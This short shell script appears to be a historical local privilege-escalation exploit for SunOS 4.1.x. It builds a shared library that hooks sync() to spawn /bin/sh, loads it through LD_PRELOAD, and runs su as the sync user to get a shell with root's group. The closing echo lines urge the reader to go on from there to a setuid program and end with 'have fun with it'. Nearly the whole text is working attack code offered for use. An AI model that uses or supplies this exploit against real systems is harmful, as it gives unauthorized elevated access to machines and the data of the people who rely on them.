#!/bin/sh

cat > sync.c << EOF

sync() {
 execl("/bin/sh","sh",0);
}

EOF
 
cc -c -O -R -pic sync.c
ld -o buglib.so.1.1 -assert pure-text sync.o
setenv LD_PRELOAD ./buglib.so.1.1
su sync
 
echo " sync is 1:1 so it has same GID as root usually"
echo " pretty easy to find a suid that you can execute"
echo " from there...have fun with it but it works mostly"
echo " on 4.1.1 no .3."